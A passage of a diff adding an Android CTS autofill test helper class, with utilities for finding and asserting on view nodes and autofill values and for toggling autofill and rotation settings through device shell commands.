+import java.util.Map.Entry;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+import java.util.regex.Pattern;
+
+/**
+ * Helper for common funcionalities.
+ */
+public final class Helper {
+
+    public static final String TAG = "AutoFillCtsHelper";
+
+    public static final boolean VERBOSE = false;
+
+    public static final String MY_PACKAGE = "android.autofillservice.cts";
+
+    public static final String ID_USERNAME_LABEL = "username_label";
+    public static final String ID_USERNAME = "username";
+    public static final String ID_PASSWORD_LABEL = "password_label";
+    public static final String ID_PASSWORD = "password";
+    public static final String ID_LOGIN = "login";
+    public static final String ID_OUTPUT = "output";
+    public static final String ID_STATIC_TEXT = "static_text";
+    public static final String ID_EMPTY = "empty";
+    public static final String ID_CANCEL_FILL = "cancel_fill";
+
+    public static final String NULL_DATASET_ID = null;
+
+    public static final char LARGE_STRING_CHAR = '6';
+    // NOTE: cannot be much large as it could ANR and fail the test.
+    public static final int LARGE_STRING_SIZE = 100_000;
+    public static final String LARGE_STRING = com.android.compatibility.common.util.TextUtils
+            .repeat(LARGE_STRING_CHAR, LARGE_STRING_SIZE);
+
+    /**
+     * Can be used in cases where the autofill values is required by irrelevant (like adding a
+     * value to an authenticated dataset).
+     */
+    public static final String UNUSED_AUTOFILL_VALUE = null;
+
+    private static final String ACCELLEROMETER_CHANGE =
+            "content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
+                    + "--bind value:i:%d";
+
+    private static final String LOCAL_DIRECTORY = Environment.getExternalStorageDirectory()
+            + "/CtsAutoFillServiceTestCases";
+
+    private static final Timeout SETTINGS_BASED_SHELL_CMD_TIMEOUT = new Timeout(
+            "SETTINGS_SHELL_CMD_TIMEOUT", OneTimeSettingsListener.DEFAULT_TIMEOUT_MS / 2, 2,
+            OneTimeSettingsListener.DEFAULT_TIMEOUT_MS);
+
+    /**
+     * Helper interface used to filter nodes.
+     *
+     * @param <T> node type
+     */
+    interface NodeFilter<T> {
+        /**
+         * Returns whether the node passes the filter for such given id.
+         */
+        boolean matches(T node, Object id);
+    }
+
+    private static final NodeFilter<ViewNode> RESOURCE_ID_FILTER = (node, id) -> {
+        return id.equals(node.getIdEntry());
+    };
+
+    private static final NodeFilter<ViewNode> HTML_NAME_FILTER = (node, id) -> {
+        return id.equals(getHtmlName(node));
+    };
+
+    private static final NodeFilter<ViewNode> HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
+        return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
+    };
+
+    private static final NodeFilter<ViewNode> TEXT_FILTER = (node, id) -> {
+        return id.equals(node.getText());
+    };
+
+    private static final NodeFilter<ViewNode> AUTOFILL_HINT_FILTER = (node, id) -> {
+        return hasHint(node.getAutofillHints(), id);
+    };
+
+    private static final NodeFilter<ViewNode> WEBVIEW_FORM_FILTER = (node, id) -> {
+        final String className = node.getClassName();
+        if (!className.equals("android.webkit.WebView")) return false;
+
+        final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+        final String formName = getAttributeValue(htmlInfo, "name");
+        return id.equals(formName);
+    };
+
+    private static final NodeFilter<View> AUTOFILL_HINT_VIEW_FILTER = (view, id) -> {
+        return hasHint(view.getAutofillHints(), id);
+    };
+
+    private static String toString(AssistStructure structure, StringBuilder builder) {
+        builder.append("[component=").append(structure.getActivityComponent());
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            dump(builder, windowNode.getRootViewNode(), " ", 0);
+        }
+        return builder.append(']').toString();
+    }
+
+    @NonNull
+    public static String toString(@NonNull AssistStructure structure) {
+        return toString(structure, new StringBuilder());
+    }
+
+    @Nullable
+    public static String toString(@Nullable AutofillValue value) {
+        if (value == null) return null;
+        if (value.isText()) {
+            // We don't care about PII...
+            final CharSequence text = value.getTextValue();
+            return text == null ? null : text.toString();
+        }
+        return value.toString();
+    }
+
+    /**
+     * Dump the assist structure on logcat.
+     */
+    public static void dumpStructure(String message, AssistStructure structure) {
+        Log.i(TAG, toString(structure, new StringBuilder(message)));
+    }
+
+    /**
+     * Dump the contexts on logcat.
+     */
+    public static void dumpStructure(String message, List<FillContext> contexts) {
+        for (FillContext context : contexts) {
+            dumpStructure(message, context.getStructure());
+        }
+    }
+
+    /**
+     * Dumps the state of the autofill service on logcat.
+     */
+    public static void dumpAutofillService(@NonNull String tag) {
+        final String autofillDump = runShellCommand("dumpsys autofill");
+        Log.i(tag, "dumpsys autofill\n\n" + autofillDump);
+        final String myServiceDump = runShellCommand("dumpsys activity service %s",
+                InstrumentedAutoFillService.SERVICE_NAME);
+        Log.i(tag, "my service dump: \n" + myServiceDump);
+    }
+
+    /**
+     * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
+     * that it says the number of active inline suggestion views is the given number.
+     *
+     * <p>Note that ideally we should have a test api to fetch the number and verify against it.
+     * But at the time this test is added for Android 11, we have passed the deadline for adding
+     * the new test api, hence this approach.
+     */
+    public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
+        String response = runShellCommand(
+                "dumpsys activity service .InlineSuggestionRenderService");
+        Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
+        Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
+        assertWithMessage("Expecting view count " + count
+                + ", but seeing different count from service dumpsys " + response).that(
+                pattern.matcher(response).find()).isTrue();
+    }
+
+    /**
+     * Sets whether the user completed the initial setup.
+     */
+    public static void setUserComplete(Context context, boolean complete) {
+        SettingsUtils.syncSet(context, USER_SETUP_COMPLETE, complete ? "1" : null);
+    }
+
+    private static void dump(@NonNull StringBuilder builder, @NonNull ViewNode node,
+            @NonNull String prefix, int childId) {
+        final int childrenSize = node.getChildCount();
+        builder.append("\n").append(prefix)
+            .append("child #").append(childId).append(':');
+        append(builder, "afId", node.getAutofillId());
+        append(builder, "afType", node.getAutofillType());
+        append(builder, "afValue", toString(node.getAutofillValue()));
+        append(builder, "resId", node.getIdEntry());
+        append(builder, "class", node.getClassName());
+        append(builder, "text", node.getText());
+        append(builder, "webDomain", node.getWebDomain());
+        append(builder, "checked", node.isChecked());
+        append(builder, "focused", node.isFocused());
+        final HtmlInfo htmlInfo = node.getHtmlInfo();
+        if (htmlInfo != null) {
+            builder.append(", HtmlInfo[tag=").append(htmlInfo.getTag())
+                .append(", attrs: ").append(htmlInfo.getAttributes()).append(']');
+        }
+        if (childrenSize > 0) {
+            append(builder, "#children", childrenSize).append("\n").append(prefix);
+            prefix += " ";
+            if (childrenSize > 0) {
+                for (int i = 0; i < childrenSize; i++) {
+                    dump(builder, node.getChildAt(i), prefix, i);
+                }
+            }
+        }
+    }
+
+    /**
+     * Appends a field value to a {@link StringBuilder} when it's not {@code null}.
+     */
+    @NonNull
+    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
+            @Nullable Object value) {
+        if (value == null) return builder;
+
+        if ((value instanceof Boolean) && ((Boolean) value)) {
+            return builder.append(", ").append(field);
+        }
+
+        if (value instanceof Integer && ((Integer) value) == 0
+                || value instanceof CharSequence && TextUtils.isEmpty((CharSequence) value)) {
+            return builder;
+        }
+
+        return builder.append(", ").append(field).append('=').append(value);
+    }
+
+    /**
+     * Appends a field value to a {@link StringBuilder} when it's {@code true}.
+     */
+    @NonNull
+    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
+            boolean value) {
+        if (value) {
+            builder.append(", ").append(field);
+        }
+        return builder;
+    }
+
+    /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    public static ViewNode findNodeByFilter(@NonNull AssistStructure structure, @NonNull Object id,
+            @NonNull NodeFilter<ViewNode> filter) {
+        Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            final ViewNode rootNode = windowNode.getRootViewNode();
+            final ViewNode node = findNodeByFilter(rootNode, id, filter);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    public static ViewNode findNodeByFilter(@NonNull List<FillContext> contexts, @NonNull Object id,
+            @NonNull NodeFilter<ViewNode> filter) {
+        for (FillContext context : contexts) {
+            ViewNode node = findNodeByFilter(context.getStructure(), id, filter);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    public static ViewNode findNodeByFilter(@NonNull ViewNode node, @NonNull Object id,
+            @NonNull NodeFilter<ViewNode> filter) {
+        if (filter.matches(node, id)) {
+            return node;
+        }
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                final ViewNode found = findNodeByFilter(node.getChildAt(i), id, filter);
+                if (found != null) {
+                    return found;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+        return findNodeByFilter(structure, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
+        return findNodeByFilter(contexts, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
+        return findNodeByFilter(node, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByHtmlName(AssistStructure structure, String htmlName) {
+        return findNodeByFilter(structure, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByHtmlName(List<FillContext> contexts, String htmlName) {
+        return findNodeByFilter(contexts, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByHtmlName(ViewNode node, String htmlName) {
+        return findNodeByFilter(node, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the value of its (single) autofill hint property, or {@code null} if not
+     * found.
+     */
+    public static ViewNode findNodeByAutofillHint(ViewNode node, String hint) {
+        return findNodeByFilter(node, hint, AUTOFILL_HINT_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
+     * not found.
+     */
+    public static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
+        return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given its Android resource id.
+     */
+    @NonNull
+    public static AutofillId findAutofillIdByResourceId(@NonNull FillContext context,
+            @NonNull String resourceId) {
+        final ViewNode node = findNodeByFilter(context.getStructure(), resourceId,
+                RESOURCE_ID_FILTER);
+        assertWithMessage("No node for resourceId %s", resourceId).that(node).isNotNull();
+        return node.getAutofillId();
+    }
+
+    /**
+     * Gets the {@code name} attribute of a node representing an HTML input tag.
+     */
+    @Nullable
+    public static String getHtmlName(@NonNull ViewNode node) {
+        final HtmlInfo htmlInfo = node.getHtmlInfo();
+        if (htmlInfo == null) {
+            return null;
+        }
+        final String tag = htmlInfo.getTag();
+        if (!"input".equals(tag)) {
+            Log.w(TAG, "getHtmlName(): invalid tag (" + tag + ") on " + htmlInfo);
+            return null;
+        }
+        for (Pair<String, String> attr : htmlInfo.getAttributes()) {
+            if ("name".equals(attr.first)) {
+                return attr.second;
+            }
+        }
+        Log.w(TAG, "getHtmlName(): no 'name' attribute on " + htmlInfo);
+        return null;
+    }
+
+    /**
+     * Gets a node given its expected text, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByText(AssistStructure structure, String text) {
+        return findNodeByFilter(structure, text, TEXT_FILTER);
+    }
+
+    /**
+     * Gets a node given its expected text, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByText(ViewNode node, String text) {
+        return findNodeByFilter(node, text, TEXT_FILTER);
+    }
+
+    /**
+     * Gets a view that contains the an autofill hint, or {@code null} if not found.
+     */
+    public static View findViewByAutofillHint(Activity activity, String hint) {
+        final View rootView = activity.getWindow().getDecorView().getRootView();
+        return findViewByAutofillHint(rootView, hint);
+    }
+
+    /**
+     * Gets a view (or a descendant of it) that contains the an autofill hint, or {@code null} if
+     * not found.
+     */
+    public static View findViewByAutofillHint(View view, String hint) {
+        if (AUTOFILL_HINT_VIEW_FILTER.matches(view, hint)) return view;
+        if ((view instanceof ViewGroup)) {
+            final ViewGroup group = (ViewGroup) view;
+            for (int i = 0; i < group.getChildCount(); i++) {
+                final View child = findViewByAutofillHint(group.getChildAt(i), hint);
+                if (child != null) return child;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts a text-based node is sanitized.
+     */
+    public static void assertTextIsSanitized(ViewNode node) {
+        final CharSequence text = node.getText();
+        final String resourceId = node.getIdEntry();
+        if (!TextUtils.isEmpty(text)) {
+            throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
+        }
+
+        assertNotFromResources(node);
+        assertNodeHasNoAutofillValue(node);
+    }
+
+    private static void assertNotFromResources(ViewNode node) {
+        assertThat(node.getTextIdEntry()).isNull();
+    }
+
+    public static void assertNodeHasNoAutofillValue(ViewNode node) {
+        final AutofillValue value = node.getAutofillValue();
+        if (value != null) {
+            final String text = value.isText() ? value.getTextValue().toString() : "N/A";
+            throw new AssertionError("node has value: " + value + " text=" + text);
+        }
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     */
+    public static void assertTextOnly(ViewNode node, String expectedValue) {
+        assertText(node, expectedValue, false);
+        assertNotFromResources(node);
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     */
+    public static void assertTextOnly(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertText(node, expectedValue, false);
+        assertNotFromResources(node);
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     */
+    public static void assertTextAndValue(ViewNode node, String expectedValue) {
+        assertText(node, expectedValue, true);
+        assertNotFromResources(node);
+    }
+
+    /**
+     * Asserts a text-based node exists and verify its values.
+     */
+    public static ViewNode assertTextAndValue(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertTextAndValue(node, expectedValue);
+        return node;
+    }
+
+    /**
+     * Asserts a text-based node exists and is sanitized.
+     */
+    public static ViewNode assertValue(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertTextValue(node, expectedValue);
+        return node;
+    }
+
+    /**
+     * Asserts the values of a text-based node whose string come from resoruces.
+     */
+    public static ViewNode assertTextFromResources(AssistStructure structure, String resourceId,
+            String expectedValue, boolean isAutofillable, String expectedTextIdEntry) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertText(node, expectedValue, isAutofillable);
+        assertThat(node.getTextIdEntry()).isEqualTo(expectedTextIdEntry);
+        return node;
+    }
+
+    public static ViewNode assertHintFromResources(AssistStructure structure, String resourceId,
+            String expectedValue, String expectedHintIdEntry) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertThat(node.getHint()).isEqualTo(expectedValue);
+        assertThat(node.getHintIdEntry()).isEqualTo(expectedHintIdEntry);
+        return node;
+    }
+
+    private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
+        assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
+                .isEqualTo(expectedValue);
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        if (isAutofillable) {
+            assertWithMessage("null auto-fill value on %s", id).that(value).isNotNull();
+            assertWithMessage("wrong auto-fill value on %s", id)
+                    .that(value.getTextValue().toString()).isEqualTo(expectedValue);
+        } else {
+            assertWithMessage("node %s should not have AutofillValue", id).that(value).isNull();
+        }
+    }
+
+    /**
+     * Asserts the auto-fill value of a text-based node.
+     */
+    public static ViewNode assertTextValue(ViewNode node, String expectedText) {
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isText()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getTextValue().toString())
+                .isEqualTo(expectedText);
+        return node;
+    }
+
+    /**
+     * Asserts the auto-fill value of a list-based node.
+     */
+    public static ViewNode assertListValue(ViewNode node, int expectedIndex) {
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isList()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getListValue())
+                .isEqualTo(expectedIndex);
+        return node;
+    }
+
+    /**
+     * Asserts the auto-fill value of a toggle-based node.
+     */
+    public static void assertToggleValue(ViewNode node, boolean expectedToggle) {
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isToggle()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getToggleValue())
+                .isEqualTo(expectedToggle);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based node.
+     */
+    public static void assertDateValue(Object object, AutofillValue value, int year, int month,
+            int day) {
+        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
+
+        final Calendar cal = Calendar.getInstance();
+        cal.setTimeInMillis(value.getDateValue());
+
+        assertWithMessage("Wrong year on AutofillValue %s", value)
+            .that(cal.get(Calendar.YEAR)).isEqualTo(year);
+        assertWithMessage("Wrong month on AutofillValue %s", value)
+            .that(cal.get(Calendar.MONTH)).isEqualTo(month);
+        assertWithMessage("Wrong day on AutofillValue %s", value)
+             .that(cal.get(Calendar.DAY_OF_MONTH)).isEqualTo(day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based node.
+     */
+    public static void assertDateValue(ViewNode node, int year, int month, int day) {
+        assertDateValue(node, node.getAutofillValue(), year, month, day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based view.
+     */
+    public static void assertDateValue(View view, int year, int month, int day) {
+        assertDateValue(view, view.getAutofillValue(), year, month, day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based node.
+     */
+    private static void assertTimeValue(Object object, AutofillValue value, int hour, int minute) {
+        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
+
+        final Calendar cal = Calendar.getInstance();
+        cal.setTimeInMillis(value.getDateValue());
+
+        assertWithMessage("Wrong hour on AutofillValue %s", value)
+            .that(cal.get(Calendar.HOUR_OF_DAY)).isEqualTo(hour);
+        assertWithMessage("Wrong minute on AutofillValue %s", value)
+            .that(cal.get(Calendar.MINUTE)).isEqualTo(minute);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based node.
+     */
+    public static void assertTimeValue(ViewNode node, int hour, int minute) {
+        assertTimeValue(node, node.getAutofillValue(), hour, minute);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based view.
+     */
+    public static void assertTimeValue(View view, int hour, int minute) {
+        assertTimeValue(view, view.getAutofillValue(), hour, minute);
+    }
+
+    /**
+     * Asserts a text-based node exists and is sanitized.
+     */
+    public static ViewNode assertTextIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
+        assertTextIsSanitized(node);
+        return node;
+    }
+
+    /**
+     * Asserts a list-based node exists and is sanitized.
+     */
+    public static void assertListValueIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
+        assertTextIsSanitized(node);
+    }
+
+    /**
+     * Asserts a toggle node exists and is sanitized.
+     */
+    public static void assertToggleIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertNodeHasNoAutofillValue(node);
+        assertWithMessage("ViewNode %s should not be checked", resourceId).that(node.isChecked())
+                .isFalse();
+    }
+
+    /**
+     * Asserts a node exists and has the {@code expected} number of children.
+     */
+    public static void assertNumberOfChildren(AssistStructure structure, String resourceId,
+            int expected) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        final int actual = node.getChildCount();
+        if (actual != expected) {
+            dumpStructure("assertNumberOfChildren()", structure);
+            throw new AssertionError("assertNumberOfChildren() for " + resourceId
+                    + " failed: expected " + expected + ", got " + actual);
+        }
+    }
+
+    /**
+     * Asserts the number of children in the Assist structure.
+     */
+    public static void assertNumberOfChildren(AssistStructure structure, int expected) {
+        assertWithMessage("wrong number of nodes").that(structure.getWindowNodeCount())
+                .isEqualTo(1);
+        final int actual = getNumberNodes(structure);
+        if (actual != expected) {
+            dumpStructure("assertNumberOfChildren()", structure);
+            throw new AssertionError("assertNumberOfChildren() for structure failed: expected "
+                    + expected + ", got " + actual);
+        }
+    }
+
+    /**
+     * Gets the total number of nodes in an structure.
+     */
+    public static int getNumberNodes(AssistStructure structure) {
+        int count = 0;
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            final ViewNode rootNode = windowNode.getRootViewNode();
+            count += getNumberNodes(rootNode);
+        }
+        return count;
+    }
+
+    /**
+     * Gets the total number of nodes in an node, including all descendants and the node itself.
+     */
+    public static int getNumberNodes(ViewNode node) {
+        int count = 1;
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                count += getNumberNodes(node.getChildAt(i));
+            }
+        }
+        return count;
+    }
+
+    /**
+     * Creates an array of {@link AutofillId} mapped from the {@code structure} nodes with the given
+     * {@code resourceIds}.
+     */
+    public static AutofillId[] getAutofillIds(Function<String, AutofillId> autofillIdResolver,
+            String[] resourceIds) {
+        if (resourceIds == null) return null;
+
+        final AutofillId[] requiredIds = new AutofillId[resourceIds.length];
+        for (int i = 0; i < resourceIds.length; i++) {
+            final String resourceId = resourceIds[i];
+            requiredIds[i] = autofillIdResolver.apply(resourceId);
+        }
+        return requiredIds;
+    }
+
+    /**
+     * Prevents the screen to rotate by itself
+     */
+    public static void disableAutoRotation(UiBot uiBot) throws Exception {
+        runShellCommand(ACCELLEROMETER_CHANGE, 0);
+        uiBot.setScreenOrientation(PORTRAIT);
+    }
+
+    /**
+     * Allows the screen to rotate by itself
+     */
+    public static void allowAutoRotation() {
+        runShellCommand(ACCELLEROMETER_CHANGE, 1);
+    }
+
+    /**
+     * Gets the maximum number of partitions per session.
+     */
+    public static int getMaxPartitions() {
+        return Integer.parseInt(runShellCommand("cmd autofill get max_partitions"));
+    }
+
+    /**
+     * Sets the maximum number of partitions per session.
+     */
+    public static void setMaxPartitions(int value) throws Exception {
+        runShellCommand("cmd autofill set max_partitions %d", value);
+        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_partitions", () -> {
+            return getMaxPartitions() == value ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Gets the maximum number of visible datasets.
+     */
+    public static int getMaxVisibleDatasets() {
+        return Integer.parseInt(runShellCommand("cmd autofill get max_visible_datasets"));
+    }
+
+    /**
+     * Sets the maximum number of visible datasets.
+     */
+    public static void setMaxVisibleDatasets(int value) throws Exception {
+        runShellCommand("cmd autofill set max_visible_datasets %d", value);
+        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_visible_datasets", () -> {
+            return getMaxVisibleDatasets() == value ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Checks if autofill window is fullscreen, see com.android.server.autofill.ui.FillUi.
+     */
+    public static boolean isAutofillWindowFullScreen(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
+    /**
+     * Checks if screen orientation can be changed.
+     */
+    public static boolean isRotationSupported(Context context) {
+        final PackageManager packageManager = context.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            Log.v(TAG, "isRotationSupported(): is auto");
+            return false;
+        }
+        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            Log.v(TAG, "isRotationSupported(): has leanback feature");
+            return false;
+        }
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
+            Log.v(TAG, "isRotationSupported(): is PC");
+            return false;
+        }
+        return true;
+    }
+
+    private static boolean getBoolean(Context context, String id) {
+        final Resources resources = context.getResources();
+        final int booleanId = resources.getIdentifier(id, "bool", "android");
+        return resources.getBoolean(booleanId);
+    }
+
+    /**
+     * Uses Shell command to get the Autofill logging level.
+     */
+    public static String getLoggingLevel() {
+        return runShellCommand("cmd autofill get log_level");
+    }
+
+    /**
+     * Uses Shell command to set the Autofill logging level.
+     */
+    public static void setLoggingLevel(String level) {
+        runShellCommand("cmd autofill set log_level %s", level);
+    }
+
+    /**
+     * Uses Settings to enable the given autofill service for the default user, and checks the
+     * value was properly check, throwing an exception if it was not.
+     */
+    public static void enableAutofillService(@NonNull Context context,
+            @NonNull String serviceName) {
+        if (isAutofillServiceEnabled(serviceName)) return;
+
+        // Sets the setting synchronously. Note that the config itself is sets synchronously but
+        // launch of the service is asynchronous after the config is updated.
+        SettingsUtils.syncSet(context, AUTOFILL_SERVICE, serviceName);
+
+        // Waits until the service is actually enabled.
+        try {
+            Timeouts.CONNECTION_TIMEOUT.run("Enabling Autofill service", () -> {
+                return isAutofillServiceEnabled(serviceName) ? serviceName : null;
+            });
+        } catch (Exception e) {
+            throw new AssertionError("Enabling Autofill service failed.");
+        }
+    }
+
+    /**
+     * Uses Settings to disable the given autofill service for the default user, and waits until
+     * the setting is deleted.
+     */
+    public static void disableAutofillService(@NonNull Context context) {
+        final String currentService = SettingsUtils.get(AUTOFILL_SERVICE);
+        if (currentService == null) {
+            Log.v(TAG, "disableAutofillService(): already disabled");
+            return;
+        }
+        Log.v(TAG, "Disabling " + currentService);
+        SettingsUtils.syncDelete(context, AUTOFILL_SERVICE);
+    }
+
+    /**
+     * Checks whether the given service is set as the autofill service for the default user.
+     */
+    public static boolean isAutofillServiceEnabled(@NonNull String serviceName) {
+        final String actualName = getAutofillServiceName();
+        return serviceName.equals(actualName);
+    }
+
+    /**
+     * Gets then name of the autofill service for the default user.
+     */
+    public static String getAutofillServiceName() {
+        return SettingsUtils.get(AUTOFILL_SERVICE);
+    }
+
+    /**
+     * Asserts whether the given service is enabled as the autofill service for the default user.
+     */
+    public static void assertAutofillServiceStatus(@NonNull String serviceName, boolean enabled) {
+        final String actual = SettingsUtils.get(AUTOFILL_SERVICE);
+        final String expected = enabled ? serviceName : null;
+        assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
+                .that(actual).isEqualTo(expected);
+    }
+
+    /**
+     * Enables / disables the default augmented autofill service.
+     */
+    public static void setDefaultAugmentedAutofillServiceEnabled(boolean enabled) {
+        Log.d(TAG, "setDefaultAugmentedAutofillServiceEnabled(): " + enabled);
+        runShellCommand("cmd autofill set default-augmented-service-enabled 0 %s",
+                Boolean.toString(enabled));
+    }
+
+    /**
+     * Gets the instrumentation context.
+     */
+    public static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    /**
+     * Asserts the node has an {@code HTMLInfo} property, with the given tag.
+     */
+    public static HtmlInfo assertHasHtmlTag(ViewNode node, String expectedTag) {
+        final HtmlInfo info = node.getHtmlInfo();
+        assertWithMessage("node doesn't have htmlInfo").that(info).isNotNull();
+        assertWithMessage("wrong tag").that(info.getTag()).isEqualTo(expectedTag);
+        return info;
+    }
+
+    /**
+     * Gets the value of an {@code HTMLInfo} attribute.
+     */
+    @Nullable
+    public static String getAttributeValue(HtmlInfo info, String attribute) {
+        for (Pair<String, String> pair : info.getAttributes()) {
+            if (pair.first.equals(attribute)) {
+                return pair.second;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts a {@code HTMLInfo} has an attribute with a given value.
+     */
+    public static void assertHasAttribute(HtmlInfo info, String attribute, String expectedValue) {
+        final String actualValue = getAttributeValue(info, attribute);
+        assertWithMessage("Attribute %s not found", attribute).that(actualValue).isNotNull();
+        assertWithMessage("Wrong value for Attribute %s", attribute)
+            .that(actualValue).isEqualTo(expectedValue);
+    }
+
+    /**
+     * Finds a {@link WebView} node given its expected form name.
+     */
+    public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
+        return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
+    }
+
+    private static void assertClientState(Object container, Bundle clientState,
+            String key, String value) {
+        assertWithMessage("'%s' should have client state", container)
+            .that(clientState).isNotNull();
+        assertWithMessage("Wrong number of client state extras on '%s'", container)
+            .that(clientState.keySet().size()).isEqualTo(1);
+        assertWithMessage("Wrong value for client state key (%s) on '%s'", key, container)
+            .that(clientState.getString(key)).isEqualTo(value);
+    }
+
+    /**
